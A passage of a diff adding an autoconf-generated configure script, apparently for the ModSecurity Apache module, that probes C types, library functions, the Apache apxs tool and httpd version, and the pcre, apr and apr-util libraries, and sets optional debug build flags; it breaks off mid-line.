+if test "${ac_cv_type_size_t+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +typedef size_t ac__type_new_; +int +main () +{ +if ((ac__type_new_ *) 0) + return 0; +if (sizeof (ac__type_new_)) + return 0; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_type_size_t=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_type_size_t=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_type_size_t" >&5 +echo "${ECHO_T}$ac_cv_type_size_t" >&6; } +if test $ac_cv_type_size_t = yes; then + : +else + +cat >>confdefs.h <<_ACEOF +#define size_t unsigned int +_ACEOF + +fi + +{ echo "$as_me:$LINENO: checking whether struct tm is in sys/time.h or time.h" >&5 +echo $ECHO_N "checking whether struct tm is in sys/time.h or time.h... $ECHO_C" >&6; } +if test "${ac_cv_struct_tm+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <sys/types.h> +#include <time.h> + +int +main () +{ +struct tm tm; + int *p = &tm.tm_sec; + return !p; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_struct_tm=time.h +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_struct_tm=sys/time.h +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_struct_tm" >&5 +echo "${ECHO_T}$ac_cv_struct_tm" >&6; } +if test $ac_cv_struct_tm = sys/time.h; then + +cat >>confdefs.h <<\_ACEOF +#define TM_IN_SYS_TIME 1 +_ACEOF + +fi + + + { echo "$as_me:$LINENO: checking for uint8_t" >&5 +echo $ECHO_N "checking for uint8_t... $ECHO_C" >&6; } +if test "${ac_cv_c_uint8_t+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_cv_c_uint8_t=no + for ac_type in 'uint8_t' 'unsigned int' 'unsigned long int' \ + 'unsigned long long int' 'unsigned short int' 'unsigned char'; do + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +int +main () +{ +static int test_array [1 - 2 * !(($ac_type) -1 >> (8 - 1) == 1)]; +test_array [0] = 0 + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + case $ac_type in + uint8_t) ac_cv_c_uint8_t=yes ;; + *) ac_cv_c_uint8_t=$ac_type ;; +esac + +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + test "$ac_cv_c_uint8_t" != no && break + done +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_uint8_t" >&5 +echo "${ECHO_T}$ac_cv_c_uint8_t" >&6; } + case $ac_cv_c_uint8_t in #( + no|yes) ;; #( + *) + +cat >>confdefs.h <<\_ACEOF +#define _UINT8_T 1 +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define uint8_t $ac_cv_c_uint8_t +_ACEOF +;; + esac + + +# Checks for library functions. + +for ac_header in stdlib.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + { echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +else + # Is the header compilable? +{ echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_compiler=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6; } + +# Is the header present? +{ echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi + +rm -f conftest.err conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6; } + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + + ;; +esac +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + +{ echo "$as_me:$LINENO: checking for GNU libc compatible malloc" >&5 +echo $ECHO_N "checking for GNU libc compatible malloc... $ECHO_C" >&6; } +if test "${ac_cv_func_malloc_0_nonnull+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then + ac_cv_func_malloc_0_nonnull=no +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#if defined STDC_HEADERS || defined HAVE_STDLIB_H +# include <stdlib.h> +#else +char *malloc (); +#endif + +int +main () +{ +return ! malloc (0); + ; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_malloc_0_nonnull=yes +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_func_malloc_0_nonnull=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_malloc_0_nonnull" >&5 +echo "${ECHO_T}$ac_cv_func_malloc_0_nonnull" >&6; } +if test $ac_cv_func_malloc_0_nonnull = yes; then + +cat >>confdefs.h <<\_ACEOF +#define HAVE_MALLOC 1 +_ACEOF + +else + cat >>confdefs.h <<\_ACEOF +#define HAVE_MALLOC 0 +_ACEOF + + case " $LIBOBJS " in + *" malloc.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS malloc.$ac_objext" + ;; +esac + + +cat >>confdefs.h <<\_ACEOF +#define malloc rpl_malloc +_ACEOF + +fi + + + +{ echo "$as_me:$LINENO: checking for working memcmp" >&5 +echo $ECHO_N "checking for working memcmp... $ECHO_C" >&6; } +if test "${ac_cv_func_memcmp_working+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then + ac_cv_func_memcmp_working=no +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +int +main () +{ + + /* Some versions of memcmp are not 8-bit clean. */ + char c0 = '\100', c1 = '\200', c2 = '\201'; + if (memcmp(&c0, &c2, 1) >= 0 || memcmp(&c1, &c2, 1) >= 0) + return 1; + + /* The Next x86 OpenStep bug shows up only when comparing 16 bytes + or more and with at least one buffer not starting on a 4-byte boundary. + William Lewis provided this test program. */ + { + char foo[21]; + char bar[21]; + int i; + for (i = 0; i < 4; i++) + { + char *a = foo + i; + char *b = bar + i; + strcpy (a, "--------01111111"); + strcpy (b, "--------10000000"); + if (memcmp (a, b, 16) >= 0) + return 1; + } + return 0; + } + + ; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_memcmp_working=yes +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_func_memcmp_working=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_memcmp_working" >&5 +echo "${ECHO_T}$ac_cv_func_memcmp_working" >&6; } +test $ac_cv_func_memcmp_working = no && case " $LIBOBJS " in + *" memcmp.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS memcmp.$ac_objext" + ;; +esac + + + + + + + + + + + + + + +for ac_func in atexit fchmod getcwd memset strcasecmp strchr strdup strerror strncasecmp strrchr strstr strtol +do +as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_func" >&5 +echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6; } +if { as_var=$as_ac_var; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define $ac_func to an innocuous variant, in case <limits.h> declares $ac_func. + For example, HP-UX 11i <limits.h> declares gettimeofday. */ +#define $ac_func innocuous_$ac_func + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char $ac_func (); below. + Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + <limits.h> exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + +#undef $ac_func + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char $ac_func (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_$ac_func || defined __stub___$ac_func +choke me +#endif + +int +main () +{ +return $ac_func (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest$ac_exeext && + $as_test_x conftest$ac_exeext; then + eval "$as_ac_var=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_var=no" +fi + +rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \ + conftest$ac_exeext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_var'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_var'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_func" | $as_tr_cpp` 1 +_ACEOF + +fi +done + + +# Find apxs +{ echo "$as_me:$LINENO: looking for Apache module support via DSO through APXS" >&5 +echo "$as_me: looking for Apache module support via DSO through APXS" >&6;} + +# Check whether --with-apxs was given. +if test "${with_apxs+set}" = set; then + withval=$with_apxs; + if test "$withval" = "yes"; then + APXS=apxs + else + APXS="$withval" + fi + +fi + + +if test -z "$APXS"; then + for i in /usr/local/apache22/bin \ + /usr/local/apache2/bin \ + /usr/local/apache/bin \ + /usr/local/sbin \ + /usr/local/bin \ + /usr/sbin \ + /usr/bin; + do + if test -f "$i/apxs2"; then + APXS="$i/apxs2" + break + elif test -f "$i/apxs"; then + APXS="$i/apxs" + break + fi + done +fi + +# arbitrarily picking the same version subversion looks for, don't know how +# accurate this really is, but at least it'll force us to have apache2... +HTTPD_WANTED_MMN=20020903 + +if test -n "$APXS" -a "$APXS" != "no" -a -x "$APXS" ; then + APXS_INCLUDE="`$APXS -q INCLUDEDIR`" + if test -r $APXS_INCLUDE/httpd.h; then + { echo "$as_me:$LINENO: found apxs at $APXS" >&5 +echo "$as_me: found apxs at $APXS" >&6;} + { echo "$as_me:$LINENO: checking httpd version" >&5 +echo "$as_me: checking httpd version" >&6;} + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +#include "$APXS_INCLUDE/ap_mmn.h" +#if AP_MODULE_MAGIC_AT_LEAST($HTTPD_WANTED_MMN,0) +VERSION_OK +#endif +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "VERSION_OK" >/dev/null 2>&1; then + { echo "$as_me:$LINENO: httpd is recent enough" >&5 +echo "$as_me: httpd is recent enough" >&6;} +else + { { echo "$as_me:$LINENO: error: apache is too old" >&5 +echo "$as_me: error: apache is too old" >&2;} + { (exit mmn must be at least $HTTPD_WANTED_MMN); exit mmn must be at least $HTTPD_WANTED_MMN; }; } +fi +rm -f conftest* + + fi + APXS_INCLUDEDIR="`$APXS -q INCLUDEDIR`" + # Make sure the include dir is used + if test -n "$APXS_INCLUDEDIR"; then + APXS_INCLUDES="-I${APXS_INCLUDEDIR} `$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" + else + APXS_INCLUDES="`$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" + fi + APXS_CFLAGS="`$APXS -q CFLAGS` `$APXS -q EXTRA_CFLAGS`" + APXS_LDFLAGS="`$APXS -q LDFLAGS` `$APXS -q EXTRA_LDFLAGS`" + APXS_LIBDIR="`$APXS -q LIBDIR`" + # Make sure the lib dir is used + if test -n "$APXS_LIBDIR"; then + APXS_LIBS="-L{$APXS_LIBDIR} `$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" + else + APXS_LIBS="`$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" + fi + APXS_LIBTOOL="`$APXS -q LIBTOOL`" + APXS_CC="`$APXS -q CC`" +else + { { echo "$as_me:$LINENO: error: couldn't find APXS" >&5 +echo "$as_me: error: couldn't find APXS" >&2;} + { (exit 1); exit 1; }; } +fi + +# Use Apache httpd source srclib as base for pcre, apr and apu config scripts + +# Check whether --with-httpd-src was given. +if test "${with_httpd_src+set}" = set; then + withval=$with_httpd_src; + if test -n "$withval"; then + CPPFLAGS="$CPPFLAGS -I$withval/srclib/pcre" + LDFLAGS="$LDFLAGS -L$withval/srclib/pcre" + pcre_path="$withval/srclib/pcre" + apr_path="$withval/srclib/apr" + apu_path="$withval/srclib/apr-util" + else + { { echo "$as_me:$LINENO: error: --with-httpd-src requires a path" >&5 +echo "$as_me: error: --with-httpd-src requires a path" >&2;} + { (exit 1); exit 1; }; } + fi + +fi + + +# Include M4 macros + +PCRE_CONFIG="pcre-config" +PCRE_CFLAGS="" +PCRE_LIBS="" + + + + +APR_CONFIG="" +APR_CFLAGS="" +APR_LDFLAGS="" +APR_LIBS="" +APR_LINK_LD="" + + + + +APU_CONFIG="" +APU_CFLAGS="" +APU_LDFLAGS="" +APU_LIBS="" +APU_LINK_LD="" + + + + +LIBXML_CONFIG="xml2-config" +LIBXML_CFLAGS="" +LIBXML_LIBS="" + + + + +LUA_CONFIG="pkg-config" +LUA_PKGNAMES="lua5.1 lua5 lua" +LUA_CFLAGS="" +LUA_LIBS="" + + + + +CURL_CONFIG="curl-config" +CURL_CFLAGS="" +CURL_LIBS="" + + + + + +### Configure Options + +# Strict Compile +# Check whether --enable-strict-compile was given. +if test "${enable_strict_compile+set}" = set; then + enableval=$enable_strict_compile; + if test "$enableval" != "no"; then + strict_compile="-Werror" + else + strict_compile= + fi + +else + + strict_compile= + +fi + + +# DEBUG_CONF +# Check whether --enable-debug-conf was given. +if test "${enable_debug_conf+set}" = set; then + enableval=$enable_debug_conf; + if test "$enableval" != "no"; then + debug_conf="-DDEBUG_CONF" + else + debug_conf= + fi + +else + + debug_conf= + +fi + + +# CACHE_DEBUG +# Check whether --enable-debug-cache was given. +if test "${enable_debug_cache+set}" = set; then + enableval=$enable_debug_cache; + if test "$enableval" != "no"; then + debug_cache="-DCACHE_DEBUG" + else + debug_cache= + fi + +else + + debug_cache= + +fi + + +# DEBUG_ACMP +# Check whether --enable-debug-acmp was given. +if test "${enable_debug_acmp+set}" = set; then + enableval=$enable_debug_acmp; + if test "$enableval" != "no"; then + debug_acmp="-DDEBUG_ACMP" + else + debug_acmp= + fi + +else + + debug_acmp= + +fi + + +# PERFORMANCE_MEASUREMENT +# Check whether --enable-performance-measurement was given. +if test "${enable_performance_measurement+set}" = set; then + enableval=$enable_performance_measurement; + if test "$enableval" != "no"; then + perf_meas="-DPERFORMANCE_MEASUREMENT" + else + perf_meas= + fi + +else + + perf_meas= + +fi + + +# NO_MODSEC_API +# Check whether --enable-modsec-api was given. +if test "${enable_modsec_api+set}" = set; then + enableval=$enable_modsec_api; + if test "$enableval" != "yes"; then + modsec_api="-DNO_MODSEC_API" + else + modsec_api= + fi + +else + + modsec_api= + +fi + + +### Build *EXTRA_CFLAGS vars + +EXTRA_CFLAGS="-O2 -g -Wall $strict_compile" +MODSEC_EXTRA_CFLAGS="$debug_conf $debug_cache $debug_acmp $perf_meas $modsec_api" + +APXS_WRAPPER=build/apxs-wrapper +APXS_EXTRA_CFLAGS="" +for f in $EXTRA_CFLAGS; do + APXS_EXTRA_CFLAGS="$APXS_EXTRA_CFLAGS -Wc,$f" +done; +MODSEC_APXS_EXTRA_CFLAGS="" +for f in $MODSEC_EXTRA_CFLAGS; do + MODSEC_APXS_EXTRA_CFLAGS="$MODSEC_APXS_EXTRA_CFLAGS -Wc,$f" +done; + +### Substitute the vars + +save_CPPFLAGS=$CPPFLAGS +CPPFLAGS="$APXS_INCLUDES $CPPFLAGS" +save_LDFLAGS=$LDFLAGS +LDFLAGS="$APXS_LDFLAGS $LDFLAGS" + + + + + + + + + + + + + + + + + +# Check whether --with-pcre was given. +if test "${with_pcre+set}" = set; then + withval=$with_pcre; pcre_path="$withval" +else + : +fi + + +if test -z "${pcre_path}"; then + test_paths="/usr/local /usr" +else + test_paths="${pcre_path}" +fi + +{ echo "$as_me:$LINENO: checking for libpcre config script" >&5 +echo $ECHO_N "checking for libpcre config script... $ECHO_C" >&6; } +for x in ${test_paths}; do + if test -e "${x}/bin/${PCRE_CONFIG}"; then + with_pcre="${x}/bin" + break + elif test -e "${x}/${PCRE_CONFIG}"; then + with_pcre="${x}" + break + else + with_pcre="" + fi +done +if test -n "${with_pcre}"; then + PCRE_CONFIG="${with_pcre}/${PCRE_CONFIG}" + { echo "$as_me:$LINENO: result: ${PCRE_CONFIG}" >&5 +echo "${ECHO_T}${PCRE_CONFIG}" >&6; } + PCRE_CFLAGS="`${PCRE_CONFIG} --cflags`" + PCRE_LIBS="`${PCRE_CONFIG} --libs`" + CFLAGS=$save_CFLAGS + LDFLAGS=$save_LDFLAGS +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + + +if test -z "${PCRE_LIBS}"; then + { echo "$as_me:$LINENO: *** pcre library not found." >&5 +echo "$as_me: *** pcre library not found." >&6;} + { { echo "$as_me:$LINENO: error: pcre library is required" >&5 +echo "$as_me: error: pcre library is required" >&2;} + { (exit 1); exit 1; }; } +else + { echo "$as_me:$LINENO: using '${PCRE_LIBS}' for pcre Library" >&5 +echo "$as_me: using '${PCRE_LIBS}' for pcre Library" >&6;} + +fi + + + +# Check whether --with-apr was given. +if test "${with_apr+set}" = set; then + withval=$with_apr; apr_path="$withval" +else + : +fi + + +if test -z "${apr_path}"; then + test_paths="/usr/local/apr /usr/local /usr" +else + test_paths="${apr_path}" +fi + +{ echo "$as_me:$LINENO: checking for libapr config script" >&5 +echo $ECHO_N "checking for libapr config script... $ECHO_C" >&6; } +for x in ${test_paths}; do + for APR_CONFIG in apr-1-config apr-config; do + if test -e "${x}/bin/${APR_CONFIG}"; then + with_apr="${x}/bin" + break + elif test -e "${x}/${APR_CONFIG}"; then + with_apr="${x}" + break + else + with_apr="" + fi + done + if test -n "$with_apr"; then + break + fi +done +if test -n "${with_apr}"; then + APR_CONFIG="${with_apr}/${APR_CONFIG}" + { echo "$as_me:$LINENO: result: ${APR_CONFIG}" >&5 +echo "${ECHO_T}${APR_CONFIG}" >&6; } + APR_CFLAGS="`${APR_CONFIG} --includes --cppflags --cflags`" + APR_LDFLAGS="`${APR_CONFIG} --ldflags`" + APR_LIBS="`${APR_CONFIG} --libs`" + APR_LINK_LD="`${APR_CONFIG} --link-ld`" + CFLAGS=$save_CFLAGS + LDFLAGS=$save_LDFLAGS +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + + + + +if test -z "${APR_LIBS}"; then + { echo "$as_me:$LINENO: *** apr library not found." >&5 +echo "$as_me: *** apr library not found." >&6;} + { { echo "$as_me:$LINENO: error: apr library is required" >&5 +echo "$as_me: error: apr library is required" >&2;} + { (exit 1); exit 1; }; } +else + { echo "$as_me:$LINENO: using '${APR_LIBS}' for apr Library" >&5 +echo "$as_me: using '${APR_LIBS}' for apr Library" >&6;} + +fi + + + +# Check whether --with-apu was given. +if test "${with_apu+set}" = set; then + withval=$with_apu; apu_path="$withval" +else + : +fi + + +if test -z "${apu_path}"; then + test_paths="/usr/local/apr /usr/local /usr" +else + test_paths="${apu_path}" +fi + +{ echo "$as_me:$LINENO: checking for libapr-util config script" >&5 +echo $ECHO_N "checking for libapr-util config script... $ECHO_C" >&6; } +for x in ${test_paths}; do + for APU_CONFIG in apu-1-config apu-config; do + if test -e "${x}/bin/${APU_CONFIG}"; then + with_apu="${x}/bin" + break + elif test -e "${x}/${APU_CONFIG}"; then + with_apu="${x}" + break + else + with_apu="" + fi + done + if test -n "$with_apu"; then + break + fi +done +if test -n "${with_apu}"; then + APU_CONFIG="${with_apu}/${APU_CONFIG}" + { echo "$as_me:$LINENO: result: ${APU_CONFIG}" >&5 +echo "${ECHO_T}${APU_CONFIG}" >&6; } + APU_CFLAGS="`${APU_CONFIG} 